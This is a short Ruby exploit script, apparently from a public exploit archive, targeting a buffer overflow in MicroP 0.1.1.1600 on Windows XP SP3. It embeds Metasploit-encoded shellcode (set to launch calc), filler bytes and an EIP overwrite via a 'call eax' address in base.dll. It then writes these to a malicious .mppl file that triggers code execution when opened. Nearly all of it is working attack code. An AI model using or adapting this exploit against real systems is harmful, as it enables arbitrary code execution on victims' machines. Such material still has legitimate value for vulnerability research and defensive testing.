# Exploit Title: MicroP malicious MPPL Buffer Overflow
# Date: 08/23/10
# Author: james [AT] learnsecurityonline [DOT] com
# Software Link: http://sourceforge.net/projects/microp/
# Version: 0.1.1.1600
# Tested on: Windows XP SP3 EN

#! /usr/bin/evn ruby


# windows/exec - 144 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
boom =      "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70"
boom << "\xcc\xd9\x74\x24\xf4\xb1\x1e\x58\x31"
boom << "\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4"
boom << "\x85\x30\x78\xbc\x65\xc9\x78\xb6\x23"
boom << "\xf5\xf3\xb4\xae\x7d\x02\xaa\x3a\x32"
boom << "\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29"
boom << "\x21\xe7\x96\x60\xf5\x71\xca\x06\x35"
boom << "\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b\xf0"
boom << "\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8"
boom << "\xc3\xf7\x3b\x7a\xcf\x4c\x4f\x23\xd3"
boom << "\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83"
boom << "\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5"
boom << "\xc6\xf5\xc1\x7e\x98\xf5\xaa\xf1\x05"
boom << "\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51"
boom << "\x61\xb6\x0e\x2f\x85\x19\x87\xb7\x78"
boom << "\x2f\x59\x90\x7b\xd7\x05\x7f\xe8\x7b"
boom << "\xca"

spl0it = boom + "\x42" * 1132

EIP = [0x10022b63].pack('V') # call eax from base.dll

File.open("exploit.mppl", 'w') do |b|
	b.write spl0it + EIP
end
